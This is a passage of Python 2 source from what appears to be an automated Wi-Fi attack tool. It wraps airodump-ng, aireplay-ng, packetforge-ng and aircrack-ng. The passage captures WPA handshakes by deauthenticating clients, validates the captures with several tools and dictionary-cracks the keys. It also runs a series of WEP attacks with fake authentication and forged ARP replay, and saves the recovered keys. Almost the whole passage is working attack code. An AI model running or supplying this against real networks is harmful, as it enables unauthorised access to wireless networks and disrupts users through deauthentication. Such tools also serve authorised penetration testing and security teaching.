        save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
              + '_' + self.target.bssid.replace(':', '-') + '.cap'

        # Check if we already have a handshake for this SSID... If we do, generate a new filename
        save_index = 0
        while os.path.exists(save_as):
            save_index += 1
            save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
                             + '_' + self.target.bssid.replace(':', '-') \
                             + '_' + str(save_index) + '.cap'

        # Remove previous airodump output files (if needed)
        remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')

        # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
        try:
            # Start airodump-ng process to capture handshakes
            cmd = ['airodump-ng',
                  '-w', self.RUN_CONFIG.temp + 'wpa',
                  '-c', self.target.channel,
                  '--bssid', self.target.bssid, self.iface]
            proc_read = Popen(cmd, stdout=DN, stderr=DN)

            # Setting deauthentication process here to avoid errors later on
            proc_deauth = None

            print ' %s starting %swpa handshake capture%s on "%s"' % \
                    (GR+sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT)+W, G, W, G+self.target.ssid+W)
            got_handshake = False

            seconds_running = 0

            target_clients = self.clients[:]
            client_index = -1
            start_time = time.time()
            # Deauth and check-for-handshake loop
            while not got_handshake and (self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT):
                if proc_read.poll() != None:
                    print ""
                    print "airodump-ng exited with status " + str(proc_read.poll())
                    print ""
                    break
                time.sleep(1)
                seconds_running = int(time.time() - start_time)

                print " \r",
                print ' %s listening for handshake...\r' % \
                      (GR+sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W),
                stdout.flush()

                if seconds_running % self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT == 0:
                    # Send deauth packets via aireplay-ng
                    cmd = ['aireplay-ng',
                          '--ignore-negative-one',
                          '-0', # Attack method (Deauthentication)
                           str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), # Number of packets to send
                          '-a', self.target.bssid]

                    client_index += 1

                    if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
                        print " %s sending %s deauth to %s*broadcast*%s..." % \
                                 (GR+sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W, G+str(self.RUN_CONFIG.WPA_DEAUTH_COUNT)+W, G, W),
                        client_index = -1
                    else:
                        print " %s sending %s deauth to %s... " % \
                                 (GR+sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W, \
                                  G+str(self.RUN_CONFIG.WPA_DEAUTH_COUNT)+W, \
                                 G+target_clients[client_index].bssid+W),
                        cmd.append('-h')
                        cmd.append(target_clients[client_index].bssid)
                    cmd.append(self.iface)
                    stdout.flush()

                    # Send deauth packets via aireplay, wait for them to complete.
                    proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
                    proc_deauth.wait()
                    print "sent\r",
                    stdout.flush()

                # Copy current dump file for consistency
                if not os.path.exists(self.RUN_CONFIG.temp + 'wpa-01.cap'): continue
                copy(self.RUN_CONFIG.temp + 'wpa-01.cap', self.RUN_CONFIG.temp + 'wpa-01.cap.temp')

                # Save copy of cap file (for debugging)
                #remove_file('/root/new/wpa-01.cap')
                #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')

                # Check for handshake
                if self.has_handshake(self.target, self.RUN_CONFIG.temp + 'wpa-01.cap.temp'):
                    got_handshake = True

                    try: os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep)
                    except OSError: pass

                    # Kill the airodump and aireplay processes
                    send_interrupt(proc_read)
                    send_interrupt(proc_deauth)

                    # Save a copy of the handshake
                    rename(self.RUN_CONFIG.temp + 'wpa-01.cap.temp', save_as)

                    print '\n %s %shandshake captured%s! saved as "%s"' % (GR+sec_to_hms(seconds_running)+W, G, W, G+save_as+W)
                    self.RUN_CONFIG.WPA_FINDINGS.append('%s (%s) handshake captured' % (self.target.ssid, self.target.bssid))
                    self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as))
                    self.RUN_CONFIG.WPA_FINDINGS.append('')

                    # Strip handshake if needed
                    if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as)

                    # Add the filename and SSID to the list of 'to-crack'
                    # Cracking will be handled after all attacks are finished.
                    self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid))

                    break # Break out of while loop

                # No handshake yet
                os.remove(self.RUN_CONFIG.temp + 'wpa-01.cap.temp')

                # Check the airodump output file for new clients
                for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wpa-01.csv')[1]:
                    if client.station != self.target.bssid: continue
                    new_client = True
                    for c in target_clients:
                        if client.bssid == c.bssid:
                            new_client = False
                            break

                    if new_client:
                        print " %s %snew client%s found: %s " % \
                               (GR+sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W, G, W, \
                               G+client.bssid+W)
                        target_clients.append(client)

            # End of Handshake wait loop.

            if not got_handshake:
                print R+' [0:00:00]'+O+' unable to capture handshake in time'+W

        except KeyboardInterrupt:
            print R+'\n (^C)'+O+' WPA handshake capture interrupted'+W
            if attack_interrupted_prompt():
                remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
                send_interrupt(proc_read)
                send_interrupt(proc_deauth)
                print ''
                self.RUN_CONFIG.exit_gracefully(0)


        # clean up
        remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
        send_interrupt(proc_read)
        send_interrupt(proc_deauth)

        return got_handshake

    def has_handshake_tshark(self, target, capfile):
        """
Uses TShark to check for a handshake.
Returns "True" if handshake is found, false otherwise.
"""
        if program_exists('tshark'):
            # Call Tshark to return list of EAPOL packets in cap file.
            cmd = ['tshark',
                   '-r', capfile, # Input file
                   '-R', 'eapol', # Filter (only EAPOL packets)
                   '-n'] # Do not resolve names (MAC vendors)
            proc = Popen(cmd, stdout=PIPE, stderr=DN)
            proc.wait()
            lines = proc.communicate()[0].split('\n')

            # Get list of all clients in cap file
            clients = []
            for line in lines:
                if line.find('appears to have been cut short') != -1 or line.find('Running as user "root"') != -1 or line.strip() == '':
                    continue

                while line.startswith(' '): line = line[1:]
                while line.find(' ') != -1: line = line.replace(' ', ' ')

                fields = line.split(' ')
                # ensure tshark dumped correct info
                if len(fields) < 5:
                    continue

                src = fields[2].lower()
                dst = fields[4].lower()

                if src == target.bssid.lower() and clients.count(dst) == 0: clients.append(dst)
                elif dst == target.bssid.lower() and clients.count(src) == 0: clients.append(src)

            # Check each client for a handshake
            for client in clients:
                msg_num = 1 # Index of message in 4-way handshake (starts at 1)

                for line in lines:
                    if line.find('appears to have been cut short') != -1: continue
                    if line.find('Running as user "root"') != -1: continue
                    if line.strip() == '': continue

                    # Sanitize tshark's output, separate into fields
                    while line[0] == ' ': line = line[1:]
                    while line.find(' ') != -1: line = line.replace(' ', ' ')

                    fields = line.split(' ')

                    # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.
                    # This catches this glitch and fixes it.
                    if len(fields) < 8:
                        continue
                    elif len(fields) == 8:
                        fields.append('(msg')
                        fields.append('3/4)')

                    src = fields[2].lower() # Source MAC address
                    dst = fields[4].lower() # Destination MAC address
                    #msg = fields[9][0] # The message number (1, 2, 3, or 4)
                    msg = fields[-1][0]

                    # First, third msgs in 4-way handshake are from the target to client
                    if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client): continue
                    # Second, fourth msgs in 4-way handshake are from client to target
                    elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client): continue

                    # The messages must appear in sequential order.
                    try:
                        if int(msg) != msg_num: continue
                    except ValueError: continue

                    msg_num += 1

                    # We need the first 4 messages of the 4-way handshake
                    # Although aircrack-ng cracks just fine with only 3 of the messages...
                    if msg_num >= 4:
                        return True
        return False

    def has_handshake_cowpatty(self, target, capfile, nonstrict=True):
        """
Uses cowpatty to check for a handshake.
Returns "True" if handshake is found, false otherwise.
"""
        if not program_exists('cowpatty'): return False

        # Call cowpatty to check if capfile contains a valid handshake.
        cmd = ['cowpatty',
               '-r', capfile, # input file
               '-s', target.ssid, # SSID
               '-c'] # Check for handshake
        # Uses frames 1, 2, or 3 for key attack
        if nonstrict: cmd.append('-2')
        proc = Popen(cmd, stdout=PIPE, stderr=DN)
        proc.wait()
        response = proc.communicate()[0]
        if response.find('incomplete four-way handshake exchange') != -1:
            return False
        elif response.find('Unsupported or unrecognized pcap file.') != -1:
            return False
        elif response.find('Unable to open capture file: Success') != -1:
            return False
        return True

    def has_handshake_pyrit(self, target, capfile):
        """
Uses pyrit to check for a handshake.
Returns "True" if handshake is found, false otherwise.
"""
        if not program_exists('pyrit'): return False

        # Call pyrit to "Analyze" the cap file's handshakes.
        cmd = ['pyrit',
               '-r', capfile,
               'analyze']
        proc = Popen(cmd, stdout=PIPE, stderr=DN)
        proc.wait()
        hit_essid = False
        for line in proc.communicate()[0].split('\n'):
            # Iterate over every line of output by Pyrit
            if line == '' or line == None: continue
            if line.find("AccessPoint") != -1:
                hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
                            (line.lower().find(target.bssid.lower()) != -1)
                #hit_essid = (line.lower().find(target.bssid.lower()))

            else:
                # If Pyrit says it's good or workable, it's a valid handshake.
                if hit_essid and (line.find(', good, ') != -1 or \
                                  line.find(', workable, ') != -1):
                    return True
        return False

    def has_handshake_aircrack(self, target, capfile):
        """
Uses aircrack-ng to check for handshake.
Returns True if found, False otherwise.
"""
        if not program_exists('aircrack-ng'): return False
        crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
        proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
        proc_crack.wait()
        txt = proc_crack.communicate()[0]

        return (txt.find('Passphrase not in dictionary') != -1)

    def has_handshake(self, target, capfile):
        """
Checks if .cap file contains a handshake.
Returns True if handshake is found, False otherwise.
"""
        valid_handshake = True
        tried = False
        if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK:
            tried = True
            valid_handshake = self.has_handshake_tshark(target, capfile)

        if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
            tried = True
            valid_handshake = self.has_handshake_cowpatty(target, capfile)

        # Use CowPatty to check for handshake.
        if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
            tried = True
            valid_handshake = self.has_handshake_cowpatty(target, capfile)

        # Check for handshake using Pyrit if applicable
        if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT:
            tried = True
            valid_handshake = self.has_handshake_pyrit(target, capfile)

        # Check for handshake using aircrack-ng
        if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK:
            tried = True
            valid_handshake = self.has_handshake_aircrack(target, capfile)

        if tried: return valid_handshake
        print R+' [!]'+O+' unable to check for handshake: all handshake options are disabled!'
        self.RUN_CONFIG.exit_gracefully(1)

    def strip_handshake(self, capfile):
        """
Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
File in location 'capfile' is overwritten!
"""
        output_file = capfile
        if program_exists('pyrit'):
            cmd = ['pyrit',
                 '-r', capfile,
                 '-o', output_file,
                 'strip']
            call(cmd,stdout=DN, stderr=DN)

        elif program_exists('tshark'):
            # strip results with tshark
            cmd = ['tshark',
                   '-r', capfile, # input file
                   '-R', 'eapol || wlan_mgt.tag.interpretation', # filter
                   '-w', capfile + '.temp'] # output file
            proc_strip = call(cmd, stdout=DN, stderr=DN)

            rename(capfile + '.temp', output_file)

        else:
            print R+" [!]"+O+" unable to strip .cap file: neither pyrit nor tshark were found"+W

##########################
# WPA CRACKING FUNCTIONS #
##########################
def wpa_crack(capfile, RUN_CONFIG):
    """
Cracks cap file using aircrack-ng
This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
they can do so manually.
"""
    if RUN_CONFIG.WPA_DICTIONARY == '':
        print R+' [!]'+O+' no WPA dictionary found! use -dict <file> command-line argument'+W
        return False

    print GR+' [0:00:00]'+W+' cracking %s with %s' % (G+capfile.ssid+W, G+'aircrack-ng'+W)
    start_time = time.time()
    cracked = False

    remove_file(RUN_CONFIG.temp + 'out.out')
    remove_file(RUN_CONFIG.temp + 'wpakey.txt')

    cmd = ['aircrack-ng',
           '-a', '2', # WPA crack
           '-w', RUN_CONFIG.WPA_DICTIONARY, # Wordlist
           '-l', RUN_CONFIG.temp + 'wpakey.txt', # Save key to file
           '-b', capfile.bssid, # BSSID of target
           capfile.filename]

    proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN)
    try:
        kt = 0 # Keys tested
        kps = 0 # Keys per second
        while True:
            time.sleep(1)

            if proc.poll() != None: # aircrack stopped
                if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'):
                    # Cracked
                    inf = open(RUN_CONFIG.temp + 'wpakey.txt')
                    key = inf.read().strip()
                    inf.close()
                    RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (G+capfile.ssid+W, G+capfile.bssid+W, C+key+W))
                    RUN_CONFIG.WPA_FINDINGS.append('')
                    t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)
                    t.key = key
                    RUN_CONFIG.save_cracked(t)

                    print GR+'\n [+]'+W+' cracked %s (%s)!' % (G+capfile.ssid+W, G+capfile.bssid+W)
                    print GR+' [+]'+W+' key: "%s"\n' % (C+key+W)
                    cracked = True
                else:
                    # Did not crack
                    print R+'\n [!]'+R+'crack attempt failed'+O+': passphrase not in dictionary'+W
                break

            inf = open(RUN_CONFIG.temp + 'out.out', 'r')
            lines = inf.read().split('\n')
            inf.close()
            outf = open(RUN_CONFIG.temp + 'out.out', 'w')
            outf.close()
            for line in lines:
                i = line.find(']')
                j = line.find('keys tested', i)
                if i != -1 and j != -1:
                    kts = line[i+2:j-1]
                    try: kt = int(kts)
                    except ValueError: pass
                i = line.find('(')
                j = line.find('k/s)', i)
                if i != -1 and j != -1:
                    kpss = line[i+1:j-1]
                    try: kps = float(kpss)
                    except ValueError: pass

            print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \
                   (GR+sec_to_hms(time.time() - start_time)+W, G+add_commas(kt)+W, G, kps, W),
            stdout.flush()

    except KeyboardInterrupt: print R+'\n (^C)'+O+' WPA cracking interrupted'+W

    send_interrupt(proc)
    try: os.kill(proc.pid, SIGTERM)
    except OSError: pass

    return cracked

def add_commas(n):
    """
Receives integer n, returns string representation of n with commas in thousands place.
I'm sure there's easier ways of doing this... but meh.
"""
    strn = str(n)
    lenn = len(strn)
    i = 0
    result = ''
    while i < lenn:
        if (lenn - i) % 3 == 0 and i != 0: result += ','
        result += strn[i]
        i += 1
    return result


#################
# WEP FUNCTIONS #
#################
class WEPAttack(Attack):
    def __init__(self, iface, target, clients, config):
        self.iface = iface
        self.target = target
        self.clients = clients
        self.RUN_CONFIG = config

    def RunAttack(self):
        '''
Abstract method for dispatching the WEP crack
'''
        self.attack_wep()

    def EndAttack(self):
        '''
Abstract method for ending the WEP attack
'''
        pass

    def attack_wep(self):
        """
Attacks WEP-encrypted network.
Returns True if key was successfully found, False otherwise.
"""
        if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1

        total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0)
        if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1
        if not self.RUN_CONFIG.WEP_CHOPCHOP: total_attacks -= 1
        if not self.RUN_CONFIG.WEP_FRAGMENT: total_attacks -= 1
        if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1
        if not self.RUN_CONFIG.WEP_P0841: total_attacks -= 1
        if not self.RUN_CONFIG.WEP_HIRTE: total_attacks -= 1

        if total_attacks <= 0:
            print R+' [!]'+O+' unable to initiate WEP attacks: no attacks are selected!'
            return False
        remaining_attacks = total_attacks

        print ' %s preparing attack "%s" (%s)' % \
               (GR+sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)+W, G+self.target.ssid+W, G+self.target.bssid+W)

        remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
        remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')

        # Start airodump process to capture packets
        cmd_airodump = ['airodump-ng',
           '-w', self.RUN_CONFIG.temp + 'wep', # Output file name (wep-01.cap, wep-01.csv)
           '-c', self.target.channel, # Wireless channel
           '--bssid', self.target.bssid,
           self.iface]
        proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
        proc_aireplay = None
        proc_aircrack = None

        successful = False # Flag for when attack is successful
        started_cracking = False # Flag for when we have started aircrack-ng
        client_mac = '' # The client mac we will send packets to/from

        total_ivs = 0
        ivs = 0
        last_ivs = 0
        for attack_num in xrange(0, 6):

            # Skip disabled attacks
            if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY: continue
            elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP: continue
            elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT: continue
            elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE: continue
            elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841: continue
            elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE: continue

            remaining_attacks -= 1

            try:

                if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)):
                    # Successful fake auth
                    client_mac = self.RUN_CONFIG.THIS_MAC
                elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH:
                    send_interrupt(proc_aireplay)
                    send_interrupt(proc_airodump)
                    print R+' [!]'+O+' unable to fake-authenticate with target'
                    print R+' [!]'+O+' to skip this speed bump, select "ignore-fake-auth" at command-line'
                    return False

                remove_file(self.RUN_CONFIG.temp + 'arp.cap')
                # Generate the aireplay-ng arguments based on attack_num and other params
                cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac)
                if cmd == '': continue
                if proc_aireplay != None:
                    send_interrupt(proc_aireplay)
                proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)

                print '\r %s attacking "%s" via' % (GR+sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)+W, G+self.target.ssid+W),
                if attack_num == 0: print G+'arp-replay',
                elif attack_num == 1: print G+'chop-chop',
                elif attack_num == 2: print G+'fragmentation',
                elif attack_num == 3: print G+'caffe-latte',
                elif attack_num == 4: print G+'p0841',
                elif attack_num == 5: print G+'hirte',
                print 'attack'+W

                print ' %s captured %s%d%s ivs @ %s iv/sec' % (GR+sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)+W, G, total_ivs, W, G+'0'+W),
                stdout.flush()

                time.sleep(1)
                if attack_num == 1:
                    # Send a deauth packet to broadcast and all clients *just because!*
                    self.wep_send_deauths(self.iface, self.target, self.clients)
                last_deauth = time.time()

                replaying = False
                time_started = time.time()
                while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT:
                    # time.sleep(5)
                    for time_count in xrange(0, 6):
                        if self.RUN_CONFIG.WEP_TIMEOUT == -1:
                            current_hms = "[endless]"
                        else:
                            current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started))
                        print "\r %s\r" % (GR+current_hms+W),
                        stdout.flush()
                        time.sleep(1)

                    # Calculates total seconds remaining

                    # Check number of IVs captured
                    csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
                    if len(csv) > 0:
                        ivs = int(csv[0].data)
                        print "\r ",
                        print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
                                  (GR+current_hms+W, G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),

                        if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
                            print "\r %s deauthing to generate packets..." % (GR+current_hms+W),
                            self.wep_send_deauths(self.iface, self.target, self.clients)
                            print "done\r",
                            last_deauth = time.time()

                        last_ivs = ivs
                        stdout.flush()
                        if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking:
                            # Start cracking
                            cmd = ['aircrack-ng',
                                   '-a', '1',
                                   '-l', self.RUN_CONFIG.temp + 'wepkey.txt']
                                   #temp + 'wep-01.cap']
                            # Append all .cap files in temp directory (in case we are resuming)
                            for f in os.listdir(self.RUN_CONFIG.temp):
                                if f.startswith('wep-') and f.endswith('.cap'):
                                    cmd.append(self.RUN_CONFIG.temp + f)

                            print "\r %s started %s (%sover %d ivs%s)" % (GR+current_hms+W, G+'cracking'+W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W)
                            proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
                            started_cracking = True

                    # Check if key has been cracked yet.
                    if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
                        # Cracked!
                        infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
                        key = infile.read().replace('\n', '')
                        infile.close()
                        print '\n\n %s %s %s (%s)! key: "%s"' % (current_hms, G+'cracked', self.target.ssid+W, G+self.target.bssid+W, C+key+W)
                        self.RUN_CONFIG.WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
                        self.RUN_CONFIG.WEP_FINDINGS.append('')

                        t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
                        t.key = key
                        self.RUN_CONFIG.save_cracked(t)

                        # Kill processes
                        send_interrupt(proc_airodump)
                        send_interrupt(proc_aireplay)
                        try: os.kill(proc_aireplay, SIGTERM)
                        except: pass
                        send_interrupt(proc_aircrack)
                        # Remove files generated by airodump/aireplay/packetforce
                        time.sleep(0.5)
                        remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
                        remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
                        return True

                    # Check if aireplay is still executing
                    if proc_aireplay.poll() == None:
                        if replaying: print ', '+G+'replaying \r'+W,
                        elif attack_num == 1 or attack_num == 2: print ', waiting for packet \r',
                        stdout.flush()
                        continue

                    # At this point, aireplay has stopped
                    if attack_num != 1 and attack_num != 2:
                        print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R+current_hms, O, W)
                        break # Break out of attack's While loop

                    # Check for a .XOR file (we expect one when doing chopchop/fragmentation
                    xor_file = ''
                    for filename in sorted(os.listdir(self.RUN_CONFIG.temp)):
                        if filename.lower().endswith('.xor'): xor_file = self.RUN_CONFIG.temp + filename
                    if xor_file == '':
                        print '\r %s attack failed: %sunable to generate keystream %s' % (R+current_hms, O, W)
                        break

                    remove_file(self.RUN_CONFIG.temp + 'arp.cap')
                    cmd = ['packetforge-ng',
                             '-0',
                             '-a', self.target.bssid,
                             '-h', client_mac,
                             '-k', '192.168.1.2',
                             '-l', '192.168.1.100',
                             '-y', xor_file,
                             '-w', self.RUN_CONFIG.temp + 'arp.cap',
                             self.iface]
                    proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
                    proc_pforge.wait()
                    forged_packet = proc_pforge.communicate()[0]
                    remove_file(xor_file)
                    if forged_packet == None: result = ''
                    forged_packet = forged_packet.strip()
                    if not forged_packet.find('Wrote packet'):
                        print "\r %s attack failed: unable to forget ARP packet %s" % (R+current_hms+O, W)
                        break

                    # We were able to forge a packet, so let's replay it via aireplay-ng
                    cmd = ['aireplay-ng',
                           '--ignore-negative-one',
                           '--arpreplay',
                           '-b', self.target.bssid,
                           '-r', self.RUN_CONFIG.temp + 'arp.cap', # Used the forged ARP packet
                           '-F', # Select the first packet
                           self.iface]
                    proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)

                    print '\r %s forged %s! %s... ' % (GR+current_hms+W, G+'arp packet'+W, G+'replaying'+W)
                    replaying = True

                # After the attacks, if we are already cracking, wait for the key to be found!
                while started_cracking: # ivs > WEP_CRACK_AT_IVS:
                    time.sleep(5)
                    # Check number of IVs captured
                    csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
                    if len(csv) > 0:
                        ivs = int(csv[0].data)
                        print GR+" [endless]"+W+" captured %s%d%s ivs, iv/sec: %s%d%s \r" % \
                                                 (G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
                        last_ivs = ivs
                        stdout.flush()

                    # Check if key has been cracked yet.
                    if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
                        # Cracked!
                        infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
                        key = infile.read().replace('\n', '')
                        infile.close()
                        print GR+'\n\n [endless] %s %s (%s)! key: "%s"' % (G+'cracked', self.target.ssid+W, G+self.target.bssid+W, C+key+W)
                        self.RUN_CONFIG.WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
                        self.RUN_CONFIG.WEP_FINDINGS.append('')

                        t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
                        t.key = key
                        self.RUN_CONFIG.save_cracked(t)

                        # Kill processes
                        send_interrupt(proc_airodump)
                        send_interrupt(proc_aireplay)
                        send_interrupt(proc_aircrack)
                        # Remove files generated by airodump/aireplay/packetforce
                        remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
                        remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
                        return True

            # Keyboard interrupt during attack
            except KeyboardInterrupt:
                print R+'\n (^C)'+O+' WEP attack interrupted\n'+W

                send_interrupt(proc_airodump)
                if proc_aireplay != None:
                    send_interrupt(proc_aireplay)
                if proc_aircrack != None:
                    send_interrupt(proc_aircrack)

                options = []
                selections = []
                if remaining_attacks > 0:
                    options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \
                                            (G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
                    selections.append(G+'c'+W)

                if self.RUN_CONFIG.TARGETS_REMAINING > 0:
                    options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \
                                        (O, W, self.RUN_CONFIG.TARGETS_REMAINING, 's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else ''))
                    selections.append(O+'s'+W)

                options.append('%sexit%s the program completely' % (R, W))
                selections.append(R+'e'+W)

                if len(options) > 1:
                    # Ask user what they want to do, Store answer in "response"
                    print GR+' [+]'+W+' what do you want to do?'
                    response = ''
                    while response != 'c' and response != 's' and response != 'e':
                        for option in options:
                            print ' %s' % option
                        response = raw_input(GR+' [+]'+W+' please make a selection (%s): ' % (', '.join(selections))).lower()[0]
                else:
                    response = 'e'

                if response == 'e' or response == 's':
                    # Exit or skip target (either way, stop this attack)
                    if self.RUN_CONFIG.WEP_SAVE:
                        # Save packets
                        save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':', '-') + '.cap'+W
                        try: rename(self.RUN_CONFIG.temp + 'wep-01.cap', save_as)
                        except OSError: print R+' [!]'+O+' unable to save capture file!'+W
                        else: print GR+' [+]'+W+' packet capture '+G+'saved'+W+' to '+G+save_as+W

                    # Remove files generated by airodump/aireplay/packetforce
                    for filename in os.listdir('.'):
                        if filename.startswith('replay_arp-') and filename.endswith('.cap'):
                            remove_file(filename)
                    remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
                    remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
                    print ''
                    if response == 'e':
                        self.RUN_CONFIG.exit_gracefully(0)
                    return

                elif response == 'c':
                    # Continue attacks
                    # Need to backup temp/wep-01.cap and remove airodump files
                    i= 2
                    while os.path.exists(self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap'):
                        i += 1
                    copy(self.RUN_CONFIG.temp + "wep-01.cap", self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap')
                    remove_airodump_files(self.RUN_CONFIG.temp + 'wep')

                    # Need to restart airodump-ng, as it's been interrupted/killed
                    proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)

                    # Say we haven't started cracking yet, so we re-start if needed.
                    started_cracking = False

                    # Reset IVs counters for proper behavior
                    total_ivs += ivs
                    ivs = 0
                    last_ivs = 0

                    # Also need to remember to crack "temp/*.cap" instead of just wep-01.cap
                    pass


        if successful:
            print GR+'\n [0:00:00]'+W+' attack complete: '+G+'success!'+W
        else:
            print GR+'\n [0:00:00]'+W+' attack complete: '+R+'failure'+W

        send_interrupt(proc_airodump)
        if proc_aireplay != None:
            send_interrupt(proc_aireplay)

        # Remove files generated by airodump/aireplay/packetforce
        for filename in os.listdir('.'):
            if filename.startswith('replay_arp-') and filename.endswith('.cap'):
                remove_file(filename)
        remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
        remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')

    def wep_fake_auth(self, iface, target, time_to_display):
        """
Attempt to (falsely) authenticate with a WEP access point.
Gives 3 seconds to make each 5 authentication attempts.
Returns True if authentication was successful, False otherwise.
"""
        max_wait = 3 # Time, in seconds, to allow each fake authentication
        max_attempts = 5 # Number of attempts to make

        for fa_index in xrange(1, max_attempts + 1):
            print '\r ',
            print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
                   (GR+time_to_display+W, G, W, fa_index, max_attempts),
            stdout.flush()

            cmd = ['aireplay-ng',
                   '--ignore-negative-one',
                   '-1', '0', # Fake auth, no delay
                   '-a', target.bssid,
                   '-T', '1'] # Make 1 attempt
            if target.ssid != '':
                cmd.append('-e')
                cmd.append(target.ssid)
